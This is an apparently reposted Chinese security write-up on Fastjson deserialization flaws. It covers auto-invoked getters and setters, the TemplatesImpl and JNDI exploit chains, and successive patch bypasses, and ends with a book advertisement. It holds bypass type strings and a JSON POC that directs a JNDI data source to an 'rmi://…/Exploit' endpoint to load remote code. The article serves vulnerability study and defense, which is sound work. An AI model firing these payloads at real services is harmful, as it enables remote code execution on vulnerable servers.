内容简介:fastjson是一个由alibaba开源的高性能且功能非常完善的JSON库,解决JSON数据处理的业务问题。应用范围非常广,是国内外流行的反序列化依赖库。截止20181126,Fastjson最新版本是1.2.51。使用老版本的Fastjson可能存在高危安全问题。官方已在1.2.25版本中推出白名单+黑名单两种方式的防御,默认使用白名单,截至目前来说白名单已做到绝对安全。但为了兼容老版本应用,仍然保留了首先先了解FastJson正常反序列化的特点。FastJson是自己实现了一套反序列化的机制,并没有
0x00 前言
fastjson是一个由alibaba开源的高性能且功能非常完善的JSON库,解决JSON数据处理的业务问题。应用范围非常广,是国内外流行的反序列化依赖库。截止20181126,Fastjson最新版本是1.2.51。使用老版本的Fastjson可能存在高危安全问题。官方已在1.2.25版本中推出白名单+黑名单两种方式的防御,默认使用白名单,截至目前来说白名单已做到绝对安全。但为了兼容老版本应用,仍然保留了 AutoType
开关,fastjson在新版本中内置了多重防护,但是还是可能会存在一定风险。 所以在开发中应严格控制 AutoType
开关,保持fastjson为最新版本。
0x01 背景知识
简介
首先先了解FastJson正常反序列化的特点。FastJson是自己实现了一套反序列化的机制,并没有使用默认的 readObject()
,在序列化反序列化的时候会进行一些操作,主要是 setter
和 getter
的操作,从而结合一些类的特性造成命令执行。
先创建一个实体类User:
package fastjsontest; import com.alibaba.fastjson.JSON; import java.util.Properties; public class User { public String name; private int age; private Boolean sex; private Properties prop; public User(){ System.out.println("User() is called"); } public void setAge(int age){ System.out.println("setAge() is called"); this.age = age; } public Boolean getSex(){ System.out.println("getGrade() is called"); return this.sex; } public Properties getProp(){ System.out.println("getProp() is called"); return this.prop; } public String toString(){ String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex; return s; } public static void main(String[] args){ String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}"; Object obj = JSON.parseObject(jsonstr, User.class); System.out.println(obj); } }
其中包括:
- public元素name
- private元素age和它的setter函数
- private元素sex和它的getter函数
- private元素prop和它的getter函数
运行结果
User() is called setAge() is called getProp() is called [User Object] name=Tom, age=13, prop=null, sex=null Process finished with exit code 0
根据结果可以看出:
- User 对象的无参构造函数被调用
- public String name 被成功的反序列化
- private int age 被成功的反序列化, setter 函数被调用
- private Boolean sex 没有被反序列化,getter 函数也没有被调用
- private Properties prop没有被反序列化, getter 函数被调用
漏洞正是出现在这些 getter
和 setter
的自动调用中
重点关注后两条, sex
和 prop
都为 private
变量, prop
的 getter
被调用, sex
的没有。这里就涉及FastJson的一个特性,也是下面一个POC构造的关键。
根据FastJson源码发现,FastJson会对满足下列要求的 getter
进行调用
- 只有
getter
没有setter
- 函数名称大于等于4
- 非静态函数
- 函数名称以get起始,且第四个字符为大写字母
- 函数没有入参
- 继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
Properties
继承于 Hashtable
, Hashtable
又继承于 Map
,满足所有条件,因此可被调用。
这时候假如 public Properties getProp()
中用户可输入参数构造存在危险操作的调用链,便可触发任意命令执行漏洞
反序列化私有变量
反序列化的时候私有变量 sex
因为没有 setter
没有被反序列化,如果想要也反序列化怎么办,FastJson提供参数设定 Feature.SupportNonPublicField
测试代码改为:
public static void main(String[] args){ String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}"; Object obj = JSON.parseObject(jsonstr, User.class, Feature.SupportNonPublicField); System.out.println(obj); }
便可将私有变量进行反序列化。
关于指定反序列化类的类型
可以看到,测试代码在反序列化的时候指定了 User.class
类型,正常可控的反序列化的点是不会指定符合我们构造POC要求的类型的,那么不指定类型,或者指定其他类型能不能调用想要的方法呢?
不指定类型:
public static void main(String[] args){ String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}"; Object obj = JSON.parseObject(jsonstr, Feature.SupportNonPublicField); System.out.println(obj); }
Output:
虽然没指定类型,但是也成功调用了相关的方法。
指定其他类型:
String
和 Integer
等常见类型发现可以成功调用相关方法
public static void main(String[] args){ String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}"; Object obj = JSON.parseObject(jsonstr, Integer.class, Feature.SupportNonPublicField); System.out.println(obj); }
但是指定的一些其他类型时不能成功调用,如 Runtime
public static void main(String[] args){ String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}"; Object obj = JSON.parseObject(jsonstr, Runtime.class, Feature.SupportNonPublicField); System.out.println(obj); }
这是因为FastJson内部封装了一部分常用类的类型,是列表里面的会直接进行反序列化,不会进行对比,反序列化完成后会直接进行强制类型转换。
这部分显得有点麻烦,开发在写代码的时候很多时候也不会用 parseObject
,而是 parse
一把梭, parse
相对于 parseObject
便会自动处理这些东西。
0x02 漏洞利用
官方于2017年3月5号发出安全公告,4月29号流露出相关POC,其中利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类,看 TemplatesImpl
类的 _outputProperties
变量和 getOutputProperties()
函数,完全满足前面说的自动调用的条件。
然后 getOutputProperties()
的后续可以通过类定义的方式执行任意代码,详情请见 defineClass在 java 反序列化当中的利用
POC构造文章请参考
可能会发出的疑问:
-
_outputProperties
为什么会和getOutputProperties()
相关联? - 为什么需要对
_bytecodes
进行Base64编码?
FastJson 反序列化漏洞利用的三个细节 - TemplatesImpl 利用链
- 为什么给
_tfactory
赋值?第一篇文章有讲 - 为什么给
_name
赋值?
后面的过程会判断 _name
是否有值。
其他POC
2017看雪安全开发峰会上有人提出基于 JNDI
构造POC利用:
基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析
该POC利用的是 setter
函数,上面的测试代码可以看出,所有的 setter
函数被调用,所以 基于 JNDI
的利用相对于前者基本没有任何局限,直接 JSON.parse(input)
便可造成漏洞
造成命令执行:
0x03 补丁&绕过
V1.2.25-加入白名单和黑名单
默认开启白名单,白名单关闭时黑名单才生效,后面所有的绕过都是针对于白名单关闭的情况下
v1.2.25绕过(当时版本v1.2.41)
方式:
Lcom.sun.rowset.RowSetImpl;
原因:
loadClass
递归去除开头的 L
和结尾的 ;
,并且是在黑名单检测之后。
V1.2.42补丁
修复补丁绕过,去除开头的 L
和结尾的 ;
,无用补丁,再次被绕过
黑名单改为hash模式
可通过爬取Maven仓库下所有类,然后正向匹配输出真正的黑名单类。
V1.2.42绕过
方式:
LLcom.sun.rowset.RowSetImpl;;
原因:
V1.2.42补丁不生效
v1.2.43补丁
出现 LL
开头 ;;
结尾抛出异常然后去除开头的 L
和结尾的 ;
补丁生效
v1.2.25绕过(当时版本v1.2.43)
方式:
[com.sun.rowset.RowSetImpl
和 Lcom.sun.rowset.RowSetImpl;
其实是一样的,看前面 loadClass
的代码,不止处理了 Lxxxx;
格式数据,还处理的 [
开头的数据。当时为什么没有一并修复了,这个POC本人测试时不成功的,因为后面的操作会报错,猜测可能当时也是发现不能利用就没修。
v1.2.44补丁
比较暴力,出现相关字符直接抛出异常。
v1.2.25绕过(当时版本v1.2.45)
POC:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
原因:
黑名单被绕过
v1.2.46补丁
扩大很名单
0x04 往后的安全风险
一直在扩大黑名单,在更多的三方依赖引入的过程中,肯定还会存在被绕过的风险。
可能被绕过的方式:
- 挖掘出新的利用方式-JDK中新的利用类
- 扩展依赖-新的三方依赖
- 应用代码-针对某个应用,开发写出可被利用的代码
- 其他漏洞-安全研究者基本上只关注了远程命令执行,结合反序列化也可能造成其他危险的操作,比如直接操纵数据库。
著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/123/
来源:https://p0sec.net/
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
区块链技术驱动金融
阿尔文德·纳拉亚南、约什·贝努、爱德华·费尔顿、安德鲁·米勒、史蒂文·戈德费德 / 林华、王勇 / 中信出版社,中信出版集团 / 2016-8-25 / CNY 79.00
从数字货币及智能合约技术层面,解读了区块链技术在金融领域的运用。“如果你正在寻找一本在技术层面解释比特币是如何运作的,并且你有一定计算机科学和编程的基本知识,这本书应该很适合你。” 《区块链:技术驱动金融》回答了一系列关于比特币如何运用区块链技术运作的问题,并且着重讲述了各种技术功能,以及未来会形成的网络。比特币是如何运作的?它因何而与众不同?你的比特币安全吗?比特币用户如何匿名?区块链如何......一起来看看 《区块链技术驱动金融》 这本书的介绍吧!
随机密码生成器
多种字符组合密码
XML、JSON 在线转换
在线XML、JSON转换工具